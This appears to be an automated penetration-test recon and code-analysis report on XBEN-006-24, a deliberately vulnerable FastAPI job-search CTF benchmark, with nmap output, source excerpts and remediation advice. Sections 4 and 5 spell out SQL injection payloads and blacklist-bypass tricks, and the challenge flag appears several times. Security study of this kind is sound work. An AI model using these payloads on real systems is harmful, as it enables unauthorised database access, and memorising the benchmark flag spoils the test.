# Pre-Reconnaissance Report

## Port Discovery (naabu)
Status: Skipped
[object Object]

## Network Scanning (nmap)
Status: success
Starting Nmap 7.98 ( https://nmap.org ) at 2025-10-31 12:55 +0530
Nmap scan report for localhost (127.0.0.1)
Host is up (0.000031s latency).
Other addresses for localhost (not scanned): ::1
Not shown: 987 closed tcp ports (conn-refused)
PORT     STATE SERVICE        VERSION
22/tcp   open  ssh            OpenSSH 9.9 (protocol 2.0)
| ssh-hostkey: 
|   256 16:31:7e:7f:f0:d7:f8:1e:d4:d6:11:5e:b0:f7:8d:c1 (ECDSA)
|_  256 16:02:af:e3:05:fc:79:77:01:be:52:ff:47:cc:85:78 (ED25519)
80/tcp   open  http           Caddy httpd
|_http-server-header: Caddy
|_http-title: Site doesn't have a title.
443/tcp  open  ssl/https
|_http-title: Site doesn't have a title.
445/tcp  open  microsoft-ds?
631/tcp  open  ipp            CUPS 2.3
|_http-title: Home - CUPS 2.3.4
|_http-server-header: CUPS/2.3 IPP/2.1
3703/tcp open  adobeserver-3?
| fingerprint-strings: 
|   DNSStatusRequestTCP, Help, LDAPBindReq, LPDString, RTSPRequest, X11Probe: 
|     HTTP/1.1 400 Bad Request
|     connection: close
|     content-length: 0
|     date: Fri, 31 Oct 2025 07:26:09 GMT
|   FourOhFourRequest: 
|     HTTP/1.0 400 Bad Request
|     content-type: application/json
|     access-control-allow-origin: *
|     vary: origin, access-control-request-method, access-control-request-headers
|     content-length: 60
|     date: Fri, 31 Oct 2025 07:26:09 GMT
|     {"code": 400, "message": "Missing baml-original-url header"}
|   GetRequest: 
|     HTTP/1.0 404 Not Found
|     vary: origin, access-control-request-method, access-control-request-headers
|     access-control-allow-origin: *
|     content-length: 0
|     date: Fri, 31 Oct 2025 07:26:09 GMT
|   HTTPOptions: 
|     HTTP/1.0 200 OK
|     vary: origin, access-control-request-method, access-control-request-headers
|     access-control-allow-methods: *
|     access-control-allow-headers: content-type,authorization,x-api-key,baml-original-url
|     access-control-max-age: 86400
|     access-control-allow-origin: *
|     content-length: 0
|_    date: Fri, 31 Oct 2025 07:26:09 GMT
5000/tcp open  http           Werkzeug httpd 1.0.1 (Python 2.7.18)
|_http-title: Dalgona Challenges
|_http-server-header: Werkzeug/1.0.1 Python/2.7.18
8000/tcp open  http           WSGIServer 0.2 (Python 3.12.9)
|_http-server-header: WSGIServer/0.2 CPython/3.12.9
|_http-title: SSTI Demo
8001/tcp open  http           WSGIServer 0.2 (Python 3.12.9)
|_http-title: SSTI Demo
|_http-server-header: WSGIServer/0.2 CPython/3.12.9
8888/tcp open  http           BaseHTTPServer 0.6 (Python 3.12.9)
|_http-server-header: BaseHTTP/0.6 Python/3.12.9
|_http-title: SSRF Test Server
9001/tcp open  tor-orport?
9876/tcp open  sd?
9999/tcp open  http           SimpleHTTPServer 0.6 (Python 3.12.9)
|_http-server-header: SimpleHTTP/0.6 Python/3.12.9
|_http-title: Directory listing for /
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port3703-TCP:V=7.98%I=7%D=10/31%Time=69046491%P=arm-apple-darwin24.4.0%
SF:r(GetRequest,BF,"HTTP/1\.0\x20404\x20Not\x20Found\r\nvary:\x20origin,\x
SF:20access-control-request-method,\x20access-control-request-headers\r\na
SF:ccess-control-allow-origin:\x20\*\r\ncontent-length:\x200\r\ndate:\x20F
SF:ri,\x2031\x20Oct\x202025\x2007:26:09\x20GMT\r\n\r\n")%r(HTTPOptions,14E
SF:,"HTTP/1\.0\x20200\x20OK\r\nvary:\x20origin,\x20access-control-request-
SF:method,\x20access-control-request-headers\r\naccess-control-allow-metho
SF:ds:\x20\*\r\naccess-control-allow-headers:\x20content-type,authorizatio
SF:n,x-api-key,baml-original-url\r\naccess-control-max-age:\x2086400\r\nac
SF:cess-control-allow-origin:\x20\*\r\ncontent-length:\x200\r\ndate:\x20Fr
SF:i,\x2031\x20Oct\x202025\x2007:26:09\x20GMT\r\n\r\n")%r(RTSPRequest,67,"
SF:HTTP/1\.1\x20400\x20Bad\x20Request\r\nconnection:\x20close\r\ncontent-l
SF:ength:\x200\r\ndate:\x20Fri,\x2031\x20Oct\x202025\x2007:26:09\x20GMT\r\
SF:n\r\n")%r(DNSStatusRequestTCP,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\
SF:nconnection:\x20close\r\ncontent-length:\x200\r\ndate:\x20Fri,\x2031\x2
SF:0Oct\x202025\x2007:26:09\x20GMT\r\n\r\n")%r(Help,67,"HTTP/1\.1\x20400\x
SF:20Bad\x20Request\r\nconnection:\x20close\r\ncontent-length:\x200\r\ndat
SF:e:\x20Fri,\x2031\x20Oct\x202025\x2007:26:09\x20GMT\r\n\r\n")%r(X11Probe
SF:,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nconnection:\x20close\r\ncont
SF:ent-length:\x200\r\ndate:\x20Fri,\x2031\x20Oct\x202025\x2007:26:09\x20G
SF:MT\r\n\r\n")%r(FourOhFourRequest,11E,"HTTP/1\.0\x20400\x20Bad\x20Reques
SF:t\r\ncontent-type:\x20application/json\r\naccess-control-allow-origin:\
SF:x20\*\r\nvary:\x20origin,\x20access-control-request-method,\x20access-c
SF:ontrol-request-headers\r\ncontent-length:\x2060\r\ndate:\x20Fri,\x2031\
SF:x20Oct\x202025\x2007:26:09\x20GMT\r\n\r\n{\"code\":\x20400,\x20\"messag
SF:e\":\x20\"Missing\x20baml-original-url\x20header\"}")%r(LPDString,67,"H
SF:TTP/1\.1\x20400\x20Bad\x20Request\r\nconnection:\x20close\r\ncontent-le
SF:ngth:\x200\r\ndate:\x20Fri,\x2031\x20Oct\x202025\x2007:26:09\x20GMT\r\n
SF:\r\n")%r(LDAPBindReq,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nconnecti
SF:on:\x20close\r\ncontent-length:\x200\r\ndate:\x20Fri,\x2031\x20Oct\x202
SF:025\x2007:26:09\x20GMT\r\n\r\n");

Host script results:
| smb2-security-mode: 
|   3.0.2: 
|_    Message signing enabled and required
|_clock-skew: -1m41s
| smb2-time: 
|   date: 2025-10-31T07:25:58
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 106.08 seconds


## Subdomain Discovery (subfinder)
Status: success
[object Object]

## Technology Detection (whatweb)
Status: success
[1m[34mhttp://localhost:8000/[0m [200 OK] [1mBootstrap[0m[[1m[32m4.5.2[0m], [1mHTML5[0m, [1mHTTPServer[0m[[1m[36muvicorn[0m], [1mIP[0m[[0m[22m::1[0m], [1mScript[0m, [1mTitle[0m[[1m[33mUltimate Job Aggregator[0m]

## Code Analysis
# Penetration Test Code Analysis Report
## XBEN-006-24: Ultimate Job Aggregator

**Assessment Date:** October 31, 2025  
**Application Type:** FastAPI Web Application (CTF Security Challenge)  
**Deployment:** Docker Container (Port 8000)  
**Security Posture:** CRITICAL RISK - Multiple High-Severity Vulnerabilities

---

# Penetration Test Scope & Boundaries

**Primary Directive:** This analysis is strictly limited to the **network-accessible attack surface** of the application. All findings reported meet the "In-Scope" criteria defined below.

### In-Scope: Network-Reachable Components
A component is considered **in-scope** if its execution can be initiated, directly or indirectly, by a network request that the deployed application server is capable of receiving. This includes:
- Publicly exposed web pages and API endpoints
- Endpoints requiring authentication via the application's standard login mechanisms (none in this case)
- Any developer utility, debug console, or script that has been mistakenly exposed through a route or is otherwise callable from other in-scope, network-reachable code

### Out-of-Scope: Locally Executable Only
A component is **out-of-scope** if it **cannot** be invoked through the running application's network interface and requires an execution context completely external to the application's request-response cycle. This includes tools that must be run via:
- A command-line interface (e.g., `python scripts/...`)
- A development environment's internal tooling
- CI/CD pipeline scripts or build tools (Makefile, docker-compose build process)
- Database migration scripts, backup tools, or maintenance utilities
- Local development servers, test harnesses, or debugging utilities
- Static files or scripts that require manual opening in a browser (not served by the application)

**Scope Applied:** All vulnerabilities and entry points reported in this analysis are network-accessible via HTTP requests to port 8000.

---

## 1. Executive Summary

XBEN-006-24 is a deliberately vulnerable FastAPI-based job aggregator application designed as a security benchmark challenge. The application exposes **three HTTP endpoints** serving a simple job search interface with SQLite backend storage. Despite being a minimal application (74 lines of Python code), it contains **multiple critical security vulnerabilities** that create a severe attack surface.

### Critical Security Findings

The most severe vulnerabilities identified are:

1. **SQL Injection (CVE-Level Severity):** The `/jobs` POST endpoint constructs SQL queries through string concatenation with inadequate input sanitization, enabling attackers to bypass the weak blacklist filter using case variations or nested keywords. This vulnerability provides direct database access to extract the CTF flag stored in the "premium" job entry.

2. **Stored XSS via SQL Injection Chain:** The frontend renders database content directly via `innerHTML` without HTML encoding. Combined with the SQL injection vulnerability, attackers can inject persistent XSS payloads into the database that execute in all users' browsers, enabling session hijacking and account takeover.

3. **Complete Absence of Authentication:** All three endpoints are publicly accessible without any authentication mechanism, authorization checks, or rate limiting. The application attempts access control through a client-side "premium" type check that is trivially bypassed via SQL injection.

### Architectural Security Posture

The application demonstrates a **security-hostile architecture** with no defense-in-depth:
- **No security middleware:** Missing CORS, CSP, security headers, rate limiting, and input validation
- **No encryption:** HTTP-only communication, unencrypted SQLite database, plaintext secret storage
- **Poor secret management:** CTF flag stored in `.env` file, exposed in Docker image layers via build ARGs, and persisted in the database description field
- **No monitoring or logging:** Zero security event logging, making attack detection impossible

This is an **intentionally insecure CTF challenge** - deploying this in production would represent catastrophic security negligence. The flag can be extracted through SQL injection, direct database file access, Docker image inspection, or source code review.

---

## 2. Architecture & Technology Stack

### Framework & Language

**Technology:** Python 3.9.24 with FastAPI 0.116.0 framework  
**ASGI Server:** Uvicorn 0.35.0 running on HTTP port 80 (exposed as 8000)  
**Base Image:** tiangolo/uvicorn-gunicorn-fastapi:python3.9 (1.19 GB)

**Security Implications:**
- **Python 3.9 End-of-Life Risk:** Python 3.9 reaches end-of-life in October 2025, creating exposure to unpatched vulnerabilities. Migration to Python 3.11+ is recommended for security fixes and performance improvements.
- **No Security Dependencies:** The application lacks any security-focused libraries. No JWT authentication, no bcrypt/argon2 password hashing, no rate limiting middleware, no CSRF protection, and no security headers middleware are present.
- **FastAPI Security Features Unused:** Despite FastAPI providing built-in security utilities (`HTTPBasic`, `HTTPBearer`, `OAuth2PasswordBearer`, `CORSMiddleware`, `TrustedHostMiddleware`), none are imported or configured. The application represents the minimal insecure configuration of FastAPI.

### Architectural Pattern

**Pattern:** Monolithic Single-Tier Web Application

The application follows a simple three-layer architecture with no security boundaries:

```
External Network (Port 8000)
    ↓
Docker Bridge Network
    ↓
Uvicorn ASGI Server (Port 80)
    ↓
FastAPI Application (main.py - 74 lines)
    ↓
SQLite Database (test.db - file-based)
    ↓
Static HTML Frontend (index.html)
```

**Trust Boundary Analysis:**
- **No network segmentation:** Database and application server co-located in single container
- **No reverse proxy:** Direct exposure of application server without WAF or nginx/Apache security layer
- **Single point of compromise:** Container breach = complete application and database access
- **No service isolation:** Monolithic design prevents compartmentalization of sensitive operations

**Critical Architectural Gaps:**
1. **No defense-in-depth:** Single layer of security (easily bypassed SQL filter)
2. **Stateless design without authentication:** Cannot implement proper session management or user context
3. **Database co-location:** Compromise of application process grants immediate database file access at `/app/test.db`
4. **No failover or redundancy:** Single container deployment with no high-availability considerations

### Critical Security Components

**Status:** All critical security components are **ABSENT**.

**Missing Security Infrastructure:**

| Security Component | Status | Impact |
|-------------------|--------|---------|
| **Security Headers** | ❌ Missing | Enables XSS, clickjacking, MIME-sniffing attacks |
| **CORS Policy** | ❌ Not configured | Default same-origin only (no explicit policy) |
| **Rate Limiting** | ❌ Absent | Vulnerable to DoS, brute force, enumeration |
| **WAF/ModSecurity** | ❌ Not present | No signature-based attack detection |
| **TLS/HTTPS** | ❌ HTTP only | All traffic in plaintext, MITM vulnerable |
| **Authentication** | ❌ None | All endpoints publicly accessible |
| **CSRF Protection** | ❌ Missing | POST endpoint vulnerable to CSRF |
| **Input Validation** | ⚠️ Weak blacklist | Easily bypassed with case variations |

**Server Information Leakage:**
The application exposes `server: uvicorn` in HTTP response headers, aiding attacker reconnaissance by revealing exact server implementation.

**Response Header Analysis:**
```http
HTTP/1.1 200 OK
date: Fri, 31 Oct 2025 07:28:32 GMT
server: uvicorn
content-length: 236
content-type: application/json
```

**Missing Critical Headers:**
- `X-Frame-Options: DENY` - Allows clickjacking attacks
- `X-Content-Type-Options: nosniff` - Enables MIME-type confusion attacks
- `Strict-Transport-Security` - No HTTPS enforcement (HTTP only anyway)
- `Content-Security-Policy` - No XSS mitigation policy
- `Referrer-Policy` - Referrer information may leak to third parties
- `Permissions-Policy` - No feature policy restrictions

---

## 3. Authentication & Authorization Deep Dive

### Authentication Mechanisms

**Status:** ❌ **NOT IMPLEMENTED**

This application has **zero authentication infrastructure**. No mechanism exists to verify user identity, establish sessions, or protect sensitive resources.

**Missing Authentication Components:**
- No JWT token generation or validation
- No session-based authentication (cookies, sessions)
- No OAuth/OIDC integration
- No API key authentication
- No HTTP Basic/Digest authentication
- No biometric or MFA support

**Code Evidence:** `/app/main.py` (Lines 1-5)
```python
import json
from fastapi import FastAPI, HTTPException, Request
from fastapi.responses import HTMLResponse
import sqlite3
```

No security-related imports detected. The `HTTPException` is imported but never used in the codebase.

### Authentication Endpoints

**Exhaustive List:** **NONE EXIST**

The complete API surface consists of only three endpoints, none requiring authentication:

| Endpoint | Method | Purpose | Authentication |
|----------|--------|---------|----------------|
| `/` | GET | Serve HTML homepage | None |
| `/ping` | GET | Health check | None |
| `/jobs` | POST | Query jobs database | None |

**File Location:** `/app/main.py:39-72`

**Missing Critical Endpoints:**
- No `/login` or `/auth/login` endpoint
- No `/logout` or session termination endpoint
- No `/register` or `/signup` endpoint
- No `/token` or `/auth/token` endpoint for JWT issuance
- No `/refresh` token endpoint
- No `/forgot-password` or `/reset-password` endpoints
- No `/verify-email` or account verification endpoints
- No OAuth callback endpoints (no `/auth/callback`)

### Session Management

**Status:** ❌ **NOT IMPLEMENTED**

**Cookie Configuration:** No session cookies are configured.

**Analysis:** The application never calls `Response.set_cookie()` or configures any cookie-based session management. A comprehensive search for session-related code (`set_cookie|Cookie|session|HttpOnly|Secure|SameSite`) returned zero matches.

**Session Cookie Flags - Location:** **N/A - No session cookies exist**

**Critical Missing Configuration:**
- **HttpOnly flag:** Not set (no cookies to configure)
- **Secure flag:** Not set (HTTP-only application anyway)
- **SameSite attribute:** Not configured

**Impact:** The stateless design prevents implementation of:
- User authentication flows
- Session fixation/hijacking protections
- CSRF token validation
- Remember-me functionality
- Multi-step authentication processes

### Authorization Model

**Status:** ⚠️ **RUDIMENTARY - Single Hardcoded Check**

**Implementation:** Simple string comparison (not role-based, not user-context-aware)

**File:** `/app/main.py:45-47`
```python
if job_type and job_type == 'premium':
    conn.close()
    return HTMLResponse(content=json.dumps({"detail": "Access denied"}), 
                       status_code=403)
```

**Authorization Characteristics:**
- **Type:** Hardcoded string check on data type field
- **Enforcement Point:** Before SQL query execution
- **Bypass Method:** SQL injection (verified exploitable)
- **User Context:** None - no user identity to authorize
- **RBAC:** Not implemented
- **ABAC:** Not implemented
- **Permission Model:** None

**Critical Flaws:**
1. **Authorization before sanitization:** The premium check occurs before input filtering, but SQL injection bypasses the entire function flow
2. **No user verification:** No concept of user identity means "authorization" is purely data-type filtering
3. **Easily bypassed:** Payload `' OR type='premium' --` bypasses this check entirely
4. **No logging:** Failed authorization attempts are not logged or monitored
5. **No rate limiting:** Unlimited retry attempts for bypass enumeration

### SSO/OAuth/OIDC Flows

**Status:** ❌ **NOT IMPLEMENTED**

No single sign-on, OAuth 2.0, or OpenID Connect implementations detected.

**Searched Patterns:** `oauth|oidc|saml|sso` (case-insensitive) - 0 matches in application code

**Missing Components:**
- No OAuth client libraries (`authlib`, `oauthlib`)
- No OAuth provider configurations
- No callback endpoints for authorization code flow
- No state parameter validation (CSRF protection for OAuth)
- No nonce validation (replay attack prevention for OIDC)
- No PKCE implementation (code_challenge/code_verifier)
- No JWKS fetching for token signature verification

**State/Nonce Validation - Location:** **N/A - No OAuth flows exist**

### Multi-Tenancy Security

**Status:** ⚠️ **NOT APPLICABLE** (Single-tenant architecture)

This application is not designed for multi-tenancy. All users (unauthenticated) access the same global dataset from a shared SQLite database with no tenant isolation.

**Database Schema:** `/app/main.py:22-27`
```sql
CREATE TABLE IF NOT EXISTS jobs (
    id INTEGER PRIMARY KEY,
    name TEXT,
    type TEXT,
    description TEXT
)
```

No `tenant_id`, `organization_id`, or similar isolation fields exist. The architecture fundamentally cannot support secure multi-tenant data separation.

---

## 4. Data Security & Storage

### Database Security

**Database Engine:** SQLite 3 (file-based)  
**Connection String:** `/app/main.py:10-13`
```python
def get_db_connection():
    conn = sqlite3.connect('test.db')
    conn.row_factory = sqlite3.Row
    return conn
```

**Critical Security Deficiencies:**

1. **No Query Parameterization - SQL Injection Vulnerability**

**Location:** `/app/main.py:53`
```python
query = f"SELECT * FROM jobs WHERE type = '{job_type}'"
```

This is the **primary vulnerability** in the application. User input from the `job_type` parameter is directly interpolated into the SQL query using Python f-strings, creating a classic SQL injection vulnerability.

**Weak Input Sanitization:** `/app/main.py:49-50`
```python
for word in ['OR', 'or', 'AND', 'and', 'SELECT', 'select', 'UNION', 'union', 'FROM', 'from', 'WHERE', 'where']:
    job_type = job_type.replace(word, '')
```

**Bypass Techniques:**
- **Case variations:** `UnIoN`, `SeLeCt`, `oR` (filter only checks exact case matches)
- **Nested keywords:** `UNUNIONION` → after removing `UNION` → `UNION`
- **Double encoding:** `%2527%20OR%20%2527` (URL encoded quotes)
- **Comment injection:** `SEL/**/ECT` (SQLite supports C-style comments)

**Exploitation Impact:**
- Extract the CTF flag from the premium job entry
- Read all database contents
- Potential for database modification (INSERT, UPDATE, DELETE)
- Timing attacks for enumeration

**Correct Implementation (Not Used):**
```python
cursor.execute("SELECT * FROM jobs WHERE type = ?", (job_type,))
```

2. **No Encryption at Rest**

The SQLite database file (`test.db`) is stored in plaintext on the filesystem at `/app/test.db`. Anyone with container access or file system access can directly read the database file containing the CTF flag.

**Missing Security Controls:**
- No SQLite Encryption Extension (SEE)
- No SQLCipher implementation
- No filesystem-level encryption
- Default file permissions (vulnerable to privilege escalation)

3. **No Connection Security**

**Vulnerabilities:**
- No connection timeout (DoS via connection exhaustion)
- No query timeout (DoS via slow queries)
- No connection pooling with security limits
- No authentication required (SQLite file-based, no user system)
- No network encryption (not applicable - local file)

4. **Sensitive Data Exposure in Database**

**Flag Storage:** `/app/main.py:33`
```python
f'("Executive Position", "premium", "{flag}"), '
```

The CTF flag is inserted directly into the `description` column of the `jobs` table for the "premium" type entry. This represents sensitive data stored without encryption and protected only by the weak access control check that can be bypassed via SQL injection.

### Data Flow Security

**Sensitive Data Flow - CTF Flag:**

```
.env file (plaintext)
  ↓ (Docker Compose reads FLAG env var)
Docker build ARG (exposed in image history)
  ↓ (sed substitution at build time)
flag.txt (container filesystem)
  ↓ (Application startup reads file)
Application memory (variable 'flag')
  ↓ (Database initialization)
SQLite database (test.db, jobs table, description column)
  ↓ (SQL injection extraction)
HTTP response (plaintext JSON)
  ↓ (No TLS)
Attacker-controlled client
```

**Data Flow Vulnerabilities:**

1. **Build-Time Secret Exposure:** `/app/Dockerfile:6-8`
```dockerfile
ARG FLAG
RUN sed -i s/FLAG/$FLAG/g flag.txt
```
The FLAG is passed as a Docker build argument, which is permanently recorded in the image layers and visible via `docker history`.

2. **File System Secret Storage:** `/app/main.py:18-19`
```python
with open("flag.txt") as f:
    flag = f.read()
```
The flag persists in the container filesystem at `/app/flag.txt` without encryption or secure deletion after reading.

3. **Environment Variable Exposure:** `/.env:1`
```
FLAG="flag{582d82bb-2c1f-4ba5-9357-e8b94217957f}"
```
Hardcoded flag in plaintext environment file, committed to source control.

4. **No Encryption in Transit:** Application runs on HTTP-only (port 80). All data, including potential flag extraction, is transmitted in cleartext vulnerable to network sniffing.

### Multi-Tenant Data Isolation

**Status:** ⚠️ **NOT APPLICABLE**

Single-tenant application with shared global data. No user isolation, no row-level security, no tenant-scoped queries. All users see filtered views of the same dataset based only on job type.

---

## 5. Attack Surface Analysis

### External Entry Points

The application exposes **three HTTP endpoints** on port 8000 (host) mapped to port 80 (container). All endpoints are network-accessible and publicly exposed without authentication.

#### 1. Homepage Endpoint

**HTTP Method:** GET  
**Path:** `/`  
**File Location:** `/app/main.py:69-72`  
**Handler Function:**
```python
@app.get("/", response_class=HTMLResponse)
def read_root():
    with open("static/index.html") as f:
        return HTMLResponse(content=f.read(), status_code=200)
```

**Purpose:** Serves the static HTML frontend (Ultimate Job Aggregator UI)  
**Authentication:** None  
**Input Validation:** None (no user input)  
**Security Risk:** Low - static file serving  

**Attack Vectors:**
- **CDN Dependency Risk:** Frontend loads Bootstrap 4.5.2 from `stackpath.bootstrapcdn.com` without Subresource Integrity (SRI) hashes, enabling MITM attacks to inject malicious JavaScript
- **No CSP:** Missing Content-Security-Policy header allows inline scripts and external resource loading
- **Information Disclosure:** Reveals application technology (FastAPI) through behavior and structure

#### 2. Health Check Endpoint

**HTTP Method:** GET  
**Path:** `/ping`  
**File Location:** `/app/main.py:64-66`  
**Handler Function:**
```python
@app.get("/ping")
def ping():
    return {"ping": "pong"}
```

**Purpose:** Docker health check endpoint  
**Authentication:** None  
**Response:** Static JSON `{"ping": "pong"}`  
**Security Risk:** Low  

**Docker Compose Configuration:** `/docker-compose.yml:10-14`
```yaml
healthcheck:
  test: ["CMD", "curl", "-f", "http://localhost:80/ping"]
  timeout: 1s
  retries: 5
  interval: 10s
```

**Attack Vectors:**
- **No Rate Limiting:** Could be used to amplify DoS attacks with automated polling
- **Information Disclosure:** Confirms application is running and responsive
- **Healthcheck Amplification:** 10-second polling interval from Docker daemon adds to request volume

#### 3. Job Search Endpoint (PRIMARY ATTACK VECTOR)

**HTTP Method:** POST  
**Path:** `/jobs`  
**File Location:** `/app/main.py:39-61`  
**Handler Function:**
```python
@app.post("/jobs")
async def jobs(request: Request):
    data = await request.json()
    job_type = data.get('job_type', '')
    # ... SQL injection vulnerability ...
```

**Purpose:** Filter and retrieve jobs from SQLite database based on user-provided type  
**Authentication:** None  
**Request Body:** `{"job_type": "<string>"}`  
**Response:** JSON array of job objects  
**Security Risk:** **CRITICAL**  

**Vulnerability Summary:**
1. **SQL Injection:** User input directly concatenated into SQL query (line 53)
2. **Weak Access Control:** "Premium" type blocking bypassed via SQL injection (line 45-47)
3. **Insufficient Input Validation:** Blacklist filter easily bypassed (line 49-50)
4. **No Rate Limiting:** Unlimited automated exploitation attempts
5. **No CSRF Protection:** POST endpoint vulnerable to cross-site request forgery

**Attack Flow:**
```
1. Attacker sends: POST /jobs {"job_type": "' OR type='premium' --"}
2. Premium check fails to match exact string 'premium'
3. Blacklist filter doesn't catch lowercase variations or nested keywords
4. SQL query becomes: SELECT * FROM jobs WHERE type = '' OR type='premium' --'
5. Database returns premium jobs including flag in description field
6. Response contains: {"description": "flag{582d82bb-2c1f-4ba5-9357-e8b94217957f}"}
```

**Input Validation Pattern Analysis:**

The application attempts input sanitization but uses a fundamentally flawed blacklist approach:

```python
for word in ['OR', 'or', 'AND', 'and', 'SELECT', 'select', 'UNION', 'union', 'FROM', 'from', 'WHERE', 'where']:
    job_type = job_type.replace(word, '')
```

**Bypass Examples:**
- `"ORor"` → becomes `"or"` after removing `"OR"`
- `"SELSELECTECT"` → becomes `"SELECT"` after removing `"SELECT"`
- `"UnIoN"` → mixed case not in blacklist, passes through unchanged
- `"‌OR"` → Unicode zero-width space variations

**Correct Approach (Not Implemented):**
- Whitelist validation: Only allow `['front-end', 'back-end']`
- Parameterized queries: Use SQL placeholders
- Reject invalid input instead of attempting sanitization

### Internal Service Communication

**Status:** ⚠️ **NOT APPLICABLE**

This is a monolithic single-container application with no internal service-to-service communication. The application, database, and web server all run within the same container process space.

**Trust Relationships:** None exist - single process model

**Service Isolation:** None - SQLite database is accessed via direct file operations in the same process

### Background Processing

**Status:** ⚠️ **NOT APPLICABLE**

No background job processing, asynchronous task queues, or scheduled jobs detected.

**Searched Patterns:**
- No Celery, RQ, or task queue libraries
- No `@app.on_event("shutdown")` or background task registration
- No cron jobs or scheduled tasks
- Only startup event handler for database initialization

**Startup Event:** `/app/main.py:16-36`
```python
@app.on_event("startup")
def startup():
    with open("flag.txt") as f:
        flag = f.read()
    conn = get_db_connection()
    # ... database initialization ...
```

This executes synchronously once at application startup, not as background processing.

---

## 6. Infrastructure & Operational Security

### Secrets Management

**Status:** ❌ **CRITICALLY INSECURE**

The application demonstrates catastrophic failures in secret management across multiple layers.

**Secret Storage Locations:**

1. **Environment File:** `/.env:1`
```
FLAG="flag{582d82bb-2c1f-4ba5-9357-e8b94217957f}"
```
**Issues:**
- Plaintext storage
- Committed to Git repository (verified in source control)
- No encryption wrapper
- No access controls

2. **Docker Build Argument:** `/app/Dockerfile:6-8`
```dockerfile
ARG FLAG
RUN sed -i s/FLAG/$FLAG/g flag.txt
```
**Issues:**
- Build ARGs visible in `docker history <image>` output
- Secret baked into image layers permanently
- Anyone with image access can extract the flag
- Violates Docker security best practices

3. **Container Filesystem:** `/app/flag.txt`
**Issues:**
- Plaintext file storage
- Accessible to anyone with container shell access
- No file permission hardening
- Not deleted after reading

4. **Application Memory:** `/app/main.py:18`
```python
flag = f.read()
```
**Issues:**
- Flag persists in memory for entire application lifetime
- Vulnerable to memory dump attacks
- No secure zeroing after use

**Recommended Approach (Not Implemented):**
- Use Docker secrets for runtime injection
- Use HashiCorp Vault or AWS Secrets Manager
- Implement secret rotation policies
- Never commit secrets to version control
- Never use build-time ARGs for secrets

### Configuration Security

**Environment Separation:** ❌ **NOT IMPLEMENTED**

No environment-specific configurations detected. Single `.env` file used for all contexts (dev, staging, production).

**Configuration Files:**
- `/.env` - Contains sensitive flag
- `/docker-compose.yml` - Passes FLAG as build argument
- No separate configuration for production vs. development

**Security Headers Configuration:** ❌ **NOT FOUND**

Comprehensive search for infrastructure configuration files that would define security headers (Nginx, Kubernetes Ingress, CDN settings):

**Searched Locations:**
- No `nginx.conf` or Nginx configuration files
- No Kubernetes manifests (`*.yaml` with Ingress resources)
- No CDN configuration (CloudFlare, Fastly, Akamai)
- No reverse proxy configuration
- No `Strict-Transport-Security` (HSTS) configuration
- No `Cache-Control` header configuration

**Application-Level Headers:** The FastAPI application itself does not configure any security headers. No middleware adds headers like:
- `Strict-Transport-Security: max-age=31536000; includeSubDomains`
- `X-Frame-Options: DENY`
- `X-Content-Type-Options: nosniff`
- `Content-Security-Policy: default-src 'self'`

**Cache Control:** No `Cache-Control` headers configured, potentially caching sensitive responses.

### External Dependencies

**Dependency Management:** `/app/Dockerfile:1`
```dockerfile
FROM tiangolo/uvicorn-gunicorn-fastapi:python3.9
```

**Base Image Risks:**
- **No Digest Pinning:** Uses mutable tag `:python3.9` instead of immutable SHA256 digest
- **Third-Party Trust:** Depends on tiangolo/uvicorn-gunicorn-fastapi maintainer
- **Supply Chain Risk:** No verification of base image authenticity or signatures
- **Auto-Updates:** Tag may silently pull updated images with new vulnerabilities

**Python Dependencies (Inferred from base image):**
- fastapi==0.116.0
- uvicorn==0.35.0
- starlette==0.46.2
- pydantic==2.12.3
- No security-focused dependencies

**Frontend CDN Dependencies:** `/app/static/index.html:9`
```html
<link href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css" rel="stylesheet">
```

**Risks:**
- No Subresource Integrity (SRI) hashes
- MITM attack could inject malicious CSS
- CDN compromise would affect application
- Bootstrap 4.5.2 (August 2020) - outdated version

**Third-Party Services:** None detected (no OAuth, payment processors, analytics, monitoring)

### Monitoring & Logging

**Status:** ❌ **MINIMAL - Insufficient for Security**

**Logging Implementation:** Default Uvicorn logging only

**Current Logging:**
- Uvicorn access logs (INFO level)
- HTTP request/response logging
- No application-level logging
- No security event logging

**Missing Security Logging:**
- Failed authorization attempts (premium type access)
- SQL injection attempts (no WAF or signature detection)
- Unusual query patterns or error rates
- Database query logging
- Authentication failures (no auth system to log)
- Rate limit violations (no rate limiting)

**No Monitoring Infrastructure:**
- No Prometheus/Grafana
- No ELK stack (Elasticsearch, Logstash, Kibana)
- No application performance monitoring (APM)
- No intrusion detection system (IDS)
- No security information and event management (SIEM)

**Alerting:** ❌ **NOT CONFIGURED**

No alerting on:
- Multiple failed access attempts
- SQL injection pattern detection
- Unusual traffic spikes
- Error rate thresholds
- Database connection failures

---

## 7. Overall Codebase Indexing

### Repository Structure

The XBEN-006-24 repository is organized as a minimal CTF security challenge with a clean separation between application code, deployment configuration, and output directories. The codebase consists of **only 74 lines of Python code** and **95 lines of HTML/JavaScript**, making it extremely compact but security-hostile by design.

**Directory Layout:**
```
XBEN-006-24/
├── .env                        # Environment variables (SENSITIVE - contains FLAG)
├── .git/                       # Git repository metadata
├── .xben_build_done           # Build completion marker
├── Makefile                    # Build automation (references external common.mk)
├── benchmark.json             # CTF challenge metadata
├── docker-compose.yml         # Container orchestration
├── outputs/                   # Analysis output directory
│   ├── scans/                # External scan results storage
│   └── schemas/              # API schema files
│       └── openapi_fastapi.json  # Auto-generated OpenAPI schema
└── app/                       # Application root directory
    ├── Dockerfile             # Container build definition
    ├── flag.txt               # CTF flag template (FLAG placeholder)
    ├── main.py                # Core application (74 lines - CRITICAL)
    └── static/
        └── index.html         # Frontend UI (95 lines)
```

### Code Organization and Conventions

**Build and Orchestration:**

The application uses **Docker and Docker Compose** for containerization with a Makefile-based build system. The Makefile references an external `common.mk` file (not present in repository) that likely provides shared build targets across multiple XBEN challenges. This pattern suggests the application is part of a larger benchmark suite.

**Docker Build Process:**
1. Reads FLAG from `.env` environment file
2. Passes FLAG as build argument to Dockerfile
